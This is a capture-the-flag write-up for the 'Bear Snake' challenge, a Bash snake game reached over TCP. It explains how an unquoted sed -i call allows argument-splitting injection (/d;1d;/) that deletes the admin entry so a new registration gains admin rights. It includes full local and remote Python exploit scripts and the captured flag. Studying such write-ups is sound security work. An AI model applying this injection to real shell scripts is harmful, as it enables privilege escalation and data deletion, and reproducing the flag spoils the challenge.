//Bear Snake Challenge Writeup
>1. Challenge Overview
The service is a Bash implementation of snake (snake/snake.sh) that exposes a text menu over TCP. Players can register, log in, play, manage their account, and—if they ever inherit the admin role—invoke /readflag. The critical bug is the unquoted account-deletion routine:
sed -i "/^$uid$/d" /srv/app/data/uids.txt
Because $uid is never quoted, we can inject extra sed programs by appending space-separated tokens to the UID. Logging in with UID /d;1d;/ makes sed process /d;1d;/ as a second script that deletes every line and then deletes line 1. After the original admin entry is wiped, the very next registration becomes UID #0 in uids.txt, which grants admin privileges on login. Regex metacharacters such as .\{0,\} also work, but the argument-splitting exploit is deterministic on every instance.
>2. Local Files and Their Roles
| Path | Purpose |
| --- | --- |
| snake/snake.sh | Main Bash game/menu, contains the vulnerable sed -i call. |
| snake/login.py | Authenticates UID/password pairs; the first UID in uids.txt is admin. |
| snake/make_admin.py | Seeds /srv/app/data with a random admin on start. |
| snake/readflag & readflag.c | Setuid helper that prints /flag.txt. |
| snake/run | Launch wrapper used in the remote container (make_admin.py + socat). |
| local_exploit.py | Local harness for regression testing. |
| remote_flag.py | Final socket-based exploit script (argument-splitting method). |
| login_stub.sh, test_*.sh, etc. | Tiny probes that examined how Bash read treats spaces, escapes, and command substitutions. |
The /srv/app/data/ tree on my host mirrors the remote instance, so every exploit step can be rehearsed locally.
>3. What Has Been Achieved So Far
-
Vulnerability identification – Confirmed that the unquoted
sed -i "/^$uid$/d"call is exploitable both via regex metacharacters and via injectedsedprograms delivered through argument splitting. -
Input-behavior research – Built helper harnesses (
login_stub.sh,test_read.sh, etc.) showing that Bashreadpreserves spaces, soUID␠/d;1d;/reaches bothlogin.pyandsedintact. -
Local automation – Extended
local_exploit.pyand several pwntools throwaways to repeatedly run the register → payload login → delete → re-register chain locally, proving the concept even though/readflagitself crashes on my Ubuntu environment. -
Remote automation – Replaced the earlier regex-only tooling with a socket workflow (
remote_flag.py) that performs the argument-splitting exploit from scratch, complete with logging and timeouts. -
Successful remote run – Executed the new script against
amt.rs:40575and captured the correct flagamateursCTF{y0u_ar3_th3_r3al_w1nn3r_0f_sn4k3}.
>4. Lessons from the Failed Regex Attempt
Earlier infrastructure shipped with a seeded regex UID (.\{0,\}), so the first remote solve reused that entry. Later instances dropped it, and the regex-only exploit stalled. The key realization was that $input_uid is reused—unquoted—in both ./login.py $input_uid $input_passwd and sed -i "/^$uid$/d" .... Anything appended after the UID therefore becomes a new shell argument and a second sed script. Registering normally (password /d;1d;/), logging in with UID /d;1d;/, and choosing settings -> delete deterministically removes the original admin, letting the next registration become UID #0.
>5. Full List of Scripts and Code Used
local_exploit.py
#!/usr/bin/env python3
"""Local end-to-end exploit harness for the Bear Snake challenge."""
from __future__ import annotations
import re
import subprocess
import sys
from pathlib import Path
from pwn import context, process
ROOT = Path(__file__).resolve().parent
APP_DIR = ROOT / 'snake'
DATA_DIR = Path('/srv/app/data')
PASS_DIR = DATA_DIR / 'passwd'
UIDS_FILE = DATA_DIR / 'uids.txt'
REGEX_UID = '.\\{0,\\}'
REGEX_PASSWORD = 'pw'
def escape_for_read(value: str) -> bytes:
"""Return bytes that survive bash's read (which strips single backslashes)."""
return value.replace('\\', '\\\\').encode()
def seed_regex_account() -> None:
"""Reset admin state and append the regex-controlled user."""
subprocess.run([sys.executable, str(APP_DIR / 'make_admin.py')], check=True)
UIDS_FILE.parent.mkdir(parents=True, exist_ok=True)
PASS_DIR.mkdir(parents=True, exist_ok=True)
lines = UIDS_FILE.read_text().splitlines()
if REGEX_UID not in lines:
with UIDS_FILE.open('a', encoding='utf-8') as handle:
handle.write(f'{REGEX_UID}\n')
(PASS_DIR / f'{REGEX_UID}.txt').write_text(REGEX_PASSWORD, encoding='utf-8')
def main() -> None:
seed_regex_account()
context.log_level = 'error'
sh = process([str(APP_DIR / 'snake.sh')], cwd=str(APP_DIR))
def expect(prompt: bytes) -> bytes:
return sh.recvuntil(prompt)
# Step 1: login as the regex user and delete every UID via sed regex injection.
expect(b'> ')
sh.sendline(b'login')
expect(b'UID: ')
sh.sendline(escape_for_read(REGEX_UID))
expect(b'Password: ')
sh.sendline(REGEX_PASSWORD.encode())
expect(b'> ')
sh.sendline(b'settings')
expect(b'> ')
sh.sendline(b'delete')
expect(b'Account deleted.')
expect(b'> ')
# Step 2: register a fresh account, which becomes the new admin entry.
sh.sendline(b'register')
banner = expect(b'Password: ')
match = re.search(rb'UID: (\d+)', banner)
if not match:
raise RuntimeError('Failed to capture UID during registration')
admin_uid = match.group(1)
sh.sendline(REGEX_PASSWORD.encode())
expect(b'> ')
sh.sendline(b'settings')
expect(b'> ')
sh.sendline(b'logout')
expect(b'> ')
# Step 3: login as the freshly-registered admin and grab the flag.
sh.sendline(b'login')
expect(b'UID: ')
sh.sendline(admin_uid)
expect(b'Password: ')
sh.sendline(REGEX_PASSWORD.encode())
expect(b'> ')
sh.sendline(b'flag')
expect(b'Flag: ')
try:
flag = sh.recvline(timeout=2).decode().strip()
except EOFError:
flag = '[readflag unavailable locally]'
print(flag)
sh.close()
if __name__ == '__main__':
main()
Even though this harness still seeds the regex account (useful for regression testing), the final exploit path no longer depends on that user.
remote_flag.py
#!/usr/bin/env python3
"""Automate the sed-based Bear Snake exploit using argument splitting."""
from __future__ import annotations
import argparse
import re
import socket
from contextlib import closing
DEFAULT_HOST = 'amt.rs'
DEFAULT_PORT = 34969
PAYLOAD_PASSWORD = '/d;1d;/'
SOCKET_TIMEOUT = 5
def log(message: str) -> None:
print(f'[*] {message}')
def recv_until(sock: socket.socket, marker: bytes) -> bytes:
data = bytearray()
while marker not in data:
chunk = sock.recv(4096)
if not chunk:
raise ConnectionError('Connection closed while waiting for marker')
data.extend(chunk)
return bytes(data)
def send_line(sock: socket.socket, line: str) -> None:
sock.sendall(line.encode() + b'\n')
def expect_prompt(sock: socket.socket) -> None:
recv_until(sock, b'> ')
def register_with_payload(sock: socket.socket) -> str:
log('Registering payload account')
send_line(sock, 'register')
banner = recv_until(sock, b'Password: ')
match = re.search(rb'UID: (\d+)', banner)
if not match:
raise RuntimeError('Failed to capture UID during registration')
uid = match.group(1).decode()
send_line(sock, PAYLOAD_PASSWORD)
expect_prompt(sock)
return uid
def logout_from_user_menu(sock: socket.socket) -> None:
log('Logging out back to main menu')
send_line(sock, 'settings')
expect_prompt(sock)
send_line(sock, 'logout')
expect_prompt(sock)
def login_with_sed_payload(sock: socket.socket, uid: str) -> None:
log(f'Logging in with sed payload based on UID {uid}')
send_line(sock, 'login')
recv_until(sock, b'UID: ')
send_line(sock, f'{uid} {PAYLOAD_PASSWORD}')
recv_until(sock, b'Password: ')
send_line(sock, PAYLOAD_PASSWORD)
banner = recv_until(sock, b'> ')
if b'Login failed' in banner:
log(banner.decode(errors='ignore'))
raise RuntimeError('Sed payload login was rejected')
def delete_accounts(sock: socket.socket) -> None:
log('Triggering account deletion via sed injection')
send_line(sock, 'settings')
expect_prompt(sock)
send_line(sock, 'delete')
recv_until(sock, b'Account deleted.')
expect_prompt(sock)
def register_new_admin(sock: socket.socket) -> str:
log('Registering new admin after wipe')
uid = register_with_payload(sock)
logout_from_user_menu(sock)
return uid
def login_as_admin(sock: socket.socket, uid: str) -> None:
log(f'Logging back in as new admin UID {uid}')
send_line(sock, 'login')
recv_until(sock, b'UID: ')
send_line(sock, uid)
recv_until(sock, b'Password: ')
send_line(sock, PAYLOAD_PASSWORD)
banner = recv_until(sock, b'> ')
if b'Login failed' in banner:
log(banner.decode(errors='ignore'))
raise RuntimeError('Admin login failed unexpectedly')
def grab_flag(sock: socket.socket) -> str:
send_line(sock, 'flag')
recv_until(sock, b'Flag: ')
flag_line = recv_until(sock, b'\n').decode(errors='ignore').strip()
return flag_line
def exploit(host: str, port: int) -> str:
with closing(socket.create_connection((host, port))) as sock:
sock.settimeout(SOCKET_TIMEOUT)
expect_prompt(sock)
uid = register_with_payload(sock)
logout_from_user_menu(sock)
login_with_sed_payload(sock, uid)
delete_accounts(sock)
admin_uid = register_new_admin(sock)
login_as_admin(sock, admin_uid)
return grab_flag(sock)
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument('--host', default=DEFAULT_HOST, help='Target host (default: %(default)s)')
parser.add_argument('--port', type=int, default=DEFAULT_PORT, help='Target port (default: %(default)s)')
return parser.parse_args()
def main() -> None:
args = parse_args()
flag = exploit(args.host, args.port)
print(flag)
if __name__ == '__main__':
main()
Helper snippets
-
login_stub.sh– minimal wrapper that pipes tworeadcalls intologin.pyso I could observe argument splitting directly. -
remote_exploit.sh/remote_nc.py– early TCP harnesses used during the reconnaissance phase. -
test_read.sh,test_backtick.sh,test_eval.sh,test_proc.sh,test_reg.sh,test_inject.sh,test_proc_sub.sh– quick experiments proving that command substitution, backticks, or<()tricks cannot beat theread+ DEBUG-trap hardening.
All helper files remain in the repo for reproducibility, but only remote_flag.py is needed to hit the live service now.
>6. Current Status
-
Local: The argument-splitting chain is fully reproducible via pwntools or over TCP (provided the process runs from its own directory).
/readflagstill exits early on my host due to loader issues, but the admin menu is consistently reachable. -
Remote: Running
python3 remote_flag.py --host amt.rs --port 40575printsamateursCTF{y0u_ar3_th3_r3al_w1nn3r_0f_sn4k3}and leaves the Super Secret Admin Menu prompt open. No seeded accounts or guesses were required. -
Artifacts: Scripts, helper harnesses, and this writeup are all up to date so the solve can be replayed or audited quickly.
>7. Recap of Results
-
✅ Local proof-of-concept exploit (regex seeding + argument-splitting attack).
-
✅ Socket automation that performs the full exploit chain unaided.
-
✅ Verified remote flag:
amateursCTF{y0u_ar3_th3_r3al_w1nn3r_0f_sn4k3}. -
✅ Documentation and tooling checked into the workspace for repeatability.
Everything needed to reproduce the solve—commands, scripts, and analysis—is now in the repository.